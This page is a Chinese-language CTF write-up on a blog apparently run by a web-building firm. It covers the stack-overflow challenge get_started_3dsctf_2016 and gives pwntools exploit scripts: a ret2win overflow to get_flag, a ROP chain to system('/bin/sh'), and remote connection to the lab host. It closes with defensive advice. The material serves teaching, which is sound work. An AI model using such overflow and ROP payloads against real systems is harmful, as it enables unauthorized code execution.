尧图建网站 尧图建网站 YAOTU WEB BUILD 免费咨询
ARTICLE DETAIL

资讯详情

深耕网站建设与建站编程的一线实战洞察。

栈溢出漏洞利用实战:从基础覆盖到ROP链构造

栈溢出漏洞利用实战:从基础覆盖到ROP链构造 1. 项目概述一次经典的栈溢出实战剖析最近在复盘一些经典的CTFCapture The Flag题目特别是那些能清晰展示漏洞原理和多种利用思路的题。get_started_3dsctf_2016这道来自BUUCTF平台的Pwn题就是一个绝佳的例子。它没有复杂的保护机制核心就是一个标准的栈溢出漏洞但恰恰因为其“纯粹”成为了理解栈溢出攻击从基础到进阶的完美跳板。很多刚接触二进制安全的朋友往往在学会了覆盖返回地址后就卡在了如何执行任意代码这一步。这道题就像一份清晰的实验手册通过两种截然不同的解法——一种是依赖题目本身“后门”函数的“取巧”路径另一种是构造完整ROP链实现任意代码执行的“硬核”路径——完整地演绎了漏洞利用的思维演进。今天我就结合这道题把栈溢出的攻击链掰开揉碎了讲清楚从漏洞触发点到最终的shell获取每一步的原理和操作细节都不会放过。2. 环境准备与题目初探2.1 题目信息收集与分析首先我们需要获取并初步分析目标程序。通常我会使用file和checksec命令来快速了解二进制文件的基本情况。file get_started_3dsctf_2016输出很可能显示这是一个32位的ELF可执行文件。接着用checksec检查安全编译选项checksec --fileget_started_3dsctf_2016对于这道经典题目预期的结果可能是Arch: i386-32-little并且保护机制相对简单例如没有开启栈保护Canary为NX可能未开启或者即使开启也有绕过方法。NXNo-eXecute保护如果开启会阻止在栈上执行代码这将直接影响我们的利用方式。但根据题目背景它通常被设计为用于教学所以保护可能比较弱。注意在实际做题时一定要先进行这一步。保护机制的不同直接决定了攻击策略。例如有Canary就需要先泄露或绕过金丝雀值有ASLR地址空间布局随机化就需要先泄露地址。接下来把程序丢进反汇编工具里。我习惯用objdump -d进行快速静态分析或者用radare2、Ghidra进行更深入的分析。核心是找到main函数和关键的漏洞函数。objdump -d get_started_3dsctf_2016 | less搜索main和gets的调用。很快我们就能定位到类似下面的关键代码片段80485f8: e8 93 fe ff ff call 8048490 getsplt这里就是漏洞点——程序使用了不安全的gets函数。gets会一直读取标准输入直到遇到换行符或EOF但它不对输入长度做任何检查因此很容易导致栈缓冲区溢出。2.2 漏洞函数与栈结构分析我们需要确定溢出点距离返回地址的偏移量。最经典的方法是使用pattern_create和pattern_offset工具来自pwntools或msf。这里我用pwntools的cyclic功能演示。首先写一个简单的Python脚本与本地程序交互发送一个长字符串from pwn import * context(archi386, oslinux) p process(./get_started_3dsctf_2016) payload cyclic(200) p.sendline(payload) p.wait()程序会崩溃。查看崩溃时EIP指令指针寄存器的值它会被我们发送的字符串中的某四个字节覆盖。假设EIP变成了0x6161616c‘laaa’的十六进制。然后我们用cyclic_find计算偏移offset cyclic_find(0x6161616c) # 假设EIP被覆盖为0x6161616c print(fOffset to EIP: {offset})对于get_started_3dsctf_2016这个偏移量通常是固定的比如45或47字节取决于具体的栈布局。这意味着在我们填充的缓冲区之后再写45个字节接下来的4个字节就会覆盖到保存在栈上的函数返回地址。实操心得偏移量的计算一定要精准。有时cyclic生成的字符串在特定位置可能包含换行符\nASCII 0x0a或空字符\x00ASCII 0x00这些字符可能被gets或strcpy等函数视为输入终止导致溢出不完整。如果发现偏移量计算不准可以尝试手动构造不同长度的 payload 并观察崩溃地址来验证。3. 解法一利用现成的“后门”函数这是第一种也是最直观的解法。我们在反汇编代码中搜索除了main之外的函数很可能会发现一个名为get_flag或类似功能的函数。用objdump或radare2搜索字符串引用objdump -d get_started_3dsctf_2016 | grep -A 10 -B 5 get_flag或者用strings命令结合grep找找有没有/bin/sh、cat flag这样的字符串。假设我们找到了一个函数get_flag其地址是0x080489A0。这个函数内部可能直接调用了system或执行了读取flag文件的操作。那么我们的利用思路就非常简单了用缓冲区溢出覆盖返回地址将其指向get_flag函数的地址。3.1 构造基础Payload利用脚本的核心部分如下from pwn import * context(archi386, oslinux) # p process(./get_started_3dsctf_2016) # 本地测试 p remote(node4.buuoj.cn, 29999) # 连接远程靶机端口需根据题目调整 offset 45 # 假设我们计算出的偏移量是45 get_flag_addr 0x080489A0 # 假设的get_flag函数地址 payload bA * offset payload p32(get_flag_addr) # 覆盖返回地址为get_flag p.sendline(payload) p.interactive()这个payload的结构是[填充字节 * offset] [目标函数地址]。发送后当脆弱的函数返回时EIP就会被设置为0x080489A0从而跳转到get_flag函数执行。3.2 可能遇到的问题与调整然而事情并非总是如此顺利。get_flag函数可能需要对参数进行准备。在32位Linux的cdecl调用约定下参数是通过栈传递的。如果get_flag函数需要参数比如get_flag(0xDEADBEEF, 0xCAFEBABE)我们就需要在覆盖返回地址之后继续在栈上布置参数。假设get_flag的地址是0x080489A0它需要两个参数。那么payload应该这样构造payload bA * offset payload p32(get_flag_addr) # 返回地址 payload p32(0xdeadbeef) # 函数返回后EIP的去向这里我们通常不关心可以填垃圾数据 payload p32(0xDEADBEEF) # 第一个参数 payload p32(0xCAFEBABE) # 第二个参数这里有一个关键点在覆盖了返回地址之后接下来的4个字节p32(0xdeadbeef)对应的是get_flag函数执行完毕后的“返回地址”。因为我们是直接跳转到这个函数而不是通过call指令所以栈上缺少了正常的返回地址布局。我们通常用一段垃圾数据或者一个pop; pop; ret的gadget地址即“栈迁移”技巧来占位确保函数能正确读取到其参数。注意事项这种解法高度依赖于题目设计者留下的“后门”。在真实的漏洞利用或更复杂的CTF题中这种现成的函数很少见。但它是一个非常重要的起点让你理解“控制流劫持”最基本的形式——让程序跳转到任意我们指定的地址执行。4. 解法二构造ROP链执行任意命令第二种解法是通用性更强的“标准答案”。当程序没有现成的get_flag函数或者开启了NX保护使得我们不能执行栈上的代码shellcode时我们就需要用到ROPReturn-Oriented Programming技术。ROP的核心思想是利用程序中已有的、以ret指令结尾的短指令序列称为gadget通过精心编排栈上的数据让这些gadget像积木一样拼接起来最终达到调用系统函数如system(‘/bin/sh’)的目的。4.1 寻找关键组件对于这道题我们的目标是执行system(‘/bin/sh’)。我们需要找到以下几个关键地址system函数的地址在动态链接的程序中system位于libc库。如果题目给了libc.so我们可以计算偏移。但在这道题中由于是静态编译或题目设计system的地址可能是固定的或者我们可以通过plt表调用。我们先在程序内部找找objdump -d get_started_3dsctf_2016 | grep -i system如果找不到可能需要泄露libc基址。但根据这道题的经典解法它通常是静态链接了libc或者system的plt地址是已知的例如0x08048460。字符串“/bin/sh”的地址我们需要在程序的地址空间里找到这个字符串。可以用rabin2或ROPgadget搜索ROPgadget --binary get_started_3dsctf_2016 --string /bin/sh假设找到地址为0x0804A024。有用的gadget我们需要一些gadget来布置参数和清理栈。最基本的我们需要一个pop ret;的 gadget 来将参数从栈弹出到寄存器。在32位下system调用时参数“/bin/sh”的地址需要放在栈上。但更常见的做法是找一个pop ebx; ret;或pop edi; pop ebp; ret;这样的 gadget把参数地址弹出到某个寄存器然后让system去读取。实际上对于system调用参数直接放在system地址之后的栈上即可模拟call system时压入返回地址和参数的行为。4.2 构造ROP链假设我们找到了system_plt 0x08048460binsh_addr 0x0804A024那么最简单的ROP链 payload 可以这样构造offset 45 system_plt 0x08048460 binsh_addr 0x0804A024 payload bA * offset payload p32(system_plt) # 覆盖返回地址跳转到systemplt payload p32(0xdeadbeef) # system函数执行后的返回地址我们不需要填垃圾数据 payload p32(binsh_addr) # system函数的第一个也是唯一一个参数这个payload的逻辑是溢出后返回到systemplt。system函数被调用时会从栈上读取其返回地址我们填充的垃圾数据0xdeadbeef和参数binsh_addr。然后system就会执行/bin/sh。4.3 应对无/bin/sh字符串的情况如果程序里没有现成的/bin/sh字符串怎么办我们就需要自己写进去。这需要两个条件一块可写的内存区域如.bss段。一种将字符串写入该区域的方法。这就需要更复杂的ROP链可能包括用gets或read函数的plt地址将字符串读入.bss段。用pop pop ret等gadget 为read函数设置参数文件描述符0为标准输入、缓冲区地址.bss段地址、长度。最后再跳转到system并将.bss段地址作为参数。这涉及到多个函数调用和参数传递是更高级的ROP利用。对于get_started_3dsctf_2016的第二种解法有时会用到mprotect函数来修改内存页属性使其可执行然后配合栈上的shellcode。这需要找到mprotect的地址并构造参数链起始地址、长度、保护属性PROT_READ|PROT_WRITE|PROT_EXEC即7。核心技巧构造复杂ROP链时使用ROPgadget或ropper工具能极大提升效率。pwntools的ROP模块也能自动搜索和构建链。但理解其手动构造过程至关重要这能帮助你在工具失效时自己解决问题。5. 动态调试与利用脚本完善无论哪种解法动态调试都是确保成功的关键。我习惯使用gdb配合pwntools的gdb.attach()。from pwn import * context(archi386, oslinux, log_leveldebug) # 开启debug日志 p process(./get_started_3dsctf_2016) gdb.attach(p, b *0x80485f8 # 在gets调用前下断点 c ) offset 45 # ... 构造payload p.sendline(payload) p.interactive()在gdb中你可以单步执行观察栈的变化确认返回地址是否被正确覆盖以及跳转后寄存器和栈的状态是否符合预期。对于远程利用脚本稳定性很重要。需要考虑网络延迟和交互。使用p.recvuntil(b‘some prompt:’)来同步程序输出确保payload在正确的时间被发送。完整的利用脚本以解法一为例可能如下#!/usr/bin/env python3 from pwn import * # 设置上下文和二进制文件信息 context(archi386, oslinux) # context.log_level debug # 调试时开启 elf ELF(./get_started_3dsctf_2016) def local_exploit(): p process(elf.path) offset 45 # 假设我们通过分析找到了这个函数 get_flag_addr 0x080489A0 payload flat({ offset: get_flag_addr }) p.sendline(payload) p.interactive() def remote_exploit(): # 根据题目修改主机和端口 p remote(node4.buuoj.cn, 29999) offset 45 get_flag_addr 0x080489A0 payload flat({ offset: get_flag_addr }) p.sendline(payload) p.interactive() if __name__ __main__: # local_exploit() remote_exploit()使用flat函数可以更方便地构造带有偏移的payload。6. 拓展思考与防御启示通过get_started_3dsctf_2016的两种解法我们清晰地看到了栈溢出漏洞利用的两种典型思路直接跳转和ROP链构造。在真实世界或更高级的CTF题目中你会遇到各种保护机制的组合这就需要更精巧的利用技术例如Canary绕过通过格式化字符串漏洞泄露canary值或利用栈溢出覆盖特定结构触发异常处理来绕过。ASLR绕过通过信息泄露漏洞如格式化字符串、堆溢出获取某个已知模块的基址从而计算出所有其他地址。PIE绕过与ASLR类似需要先泄露程序自身的基址。Full RELRO防止修改GOT表使得GOT覆写攻击失效迫使攻击者使用更复杂的ROP。从防御角度看这道题也警示了开发中的基本安全准则绝对避免使用不安全的函数如gets、strcpy、sprintf等应使用其带长度检查的安全版本fgets、strncpy、snprintf。启用编译期保护现代编译器如GCC提供了-fstack-protector栈保护、-D_FORTIFY_SOURCE2、-Wl,-z,relro,-z,nowFull RELRO等选项能有效增加利用难度。使用现代内存安全语言或特性对于新项目考虑使用Rust、Go等内存安全语言或在C/C中更广泛地使用智能指针和标准库的安全容器。7. 常见问题排查与解决实录在实际操作中即使思路正确也可能会遇到各种问题。这里记录几个我踩过的坑和解决方法问题1偏移量计算不准导致覆盖返回地址失败。现象程序崩溃但EIP没有被精准控制或者跳转到了奇怪的地址。排查确认是否在gets输入中意外包含了终止字符如\n,\x00。cyclic生成的字符串在某些位置可能包含0x0a。使用cyclic生成两段不同的长字符串分别测试对比崩溃时EIP的值看是否是固定偏移。在gdb中精确调试在gets返回后立即查看栈帧手动计算缓冲区起始地址到保存的返回地址之间的字节数。解决如果cyclic字符串有问题可以尝试手动构造不包含坏字符的递增模式字符串如b‘A’*offset b‘BBBB’ b‘C’*100观察崩溃时EIP是0x42424242(‘BBBB’) 吗如果不是调整 offset。问题2跳转到目标函数后程序发生段错误Segmentation Fault。现象成功跳转到get_flag或system但马上崩溃。排查栈对齐问题在某些架构或特定函数调用约定下call指令执行时栈需要16字节对齐。而我们通过溢出直接jmp过去可能破坏了对齐。解决方案是在目标地址前加入一个retgadget其地址通常是一个简单的c3字节指令这相当于多进行一次ret调整栈指针。参数问题检查函数是否需要参数以及参数是否正确传递。在gdb中单步跟踪查看函数入口时栈顶的内容是否符合预期。环境问题system函数需要完整的运行时环境。在某些极端精简的环境如某些CTF容器中/bin/sh可能不存在或符号链接有问题。可以尝试调用execve或使用其他命令。解决对于栈对齐在payload中将返回地址覆盖为一个retgadget的地址紧接着再放目标函数地址。例如payload b‘A’*offset p32(ret_gadget) p32(target_func) ...。问题3远程服务器环境与本地不一致本地成功但远程失败。现象本地用process()测试完美拿到shell但连接远程靶机毫无反应或报错。排查libc版本差异这是最常见的原因。本地和远程的libc版本不同导致函数偏移地址不一样。解法二如果依赖system的绝对地址这点尤其致命。系统调用差异不同内核版本或系统配置可能影响某些系统调用的行为。网络交互远程可能存在输入输出缓冲或者交互提示不同导致脚本发送payload的时机不对。解决如果题目提供了libc.so一定要用给定的libc计算偏移。使用pwntools的DynELF或LibcSearcher进行动态查找。在脚本中增加更健壮的接收判断使用p.recvuntil(b‘: ‘)等来稳定同步。在payload前添加一个b‘\n’有时可以刷新缓冲区。问题4使用pwntools的sendline后程序没有收到完整输入。现象调试时发现程序在gets处阻塞似乎没读完。排查gets读到换行符\n(0x0a) 或 EOF 停止。如果payload中间意外包含了0x0a输入就会提前终止。解决确保payload中不包含0x0a,0x00,0x0d等可能被解释为终止符的字节。使用p.send(payload)而不是p.sendline(payload)可以避免自动在末尾添加\n但需要确保程序本身能正确处理没有换行结尾的输入。最后分享一个调试小技巧在构造复杂的ROP链时可以分阶段测试。先测试是否能稳定控制EIP跳转到第一个gadget成功后再逐步添加后续的链。在gdb中使用ni(next instruction) 和si(step instruction) 仔细跟踪每一步的栈和寄存器变化画出栈图这是理解ROP链执行流程最有效的方法。这道题虽然简单但它所蕴含的控制流劫持思想是通往更高级二进制利用技术的基石。
返回列表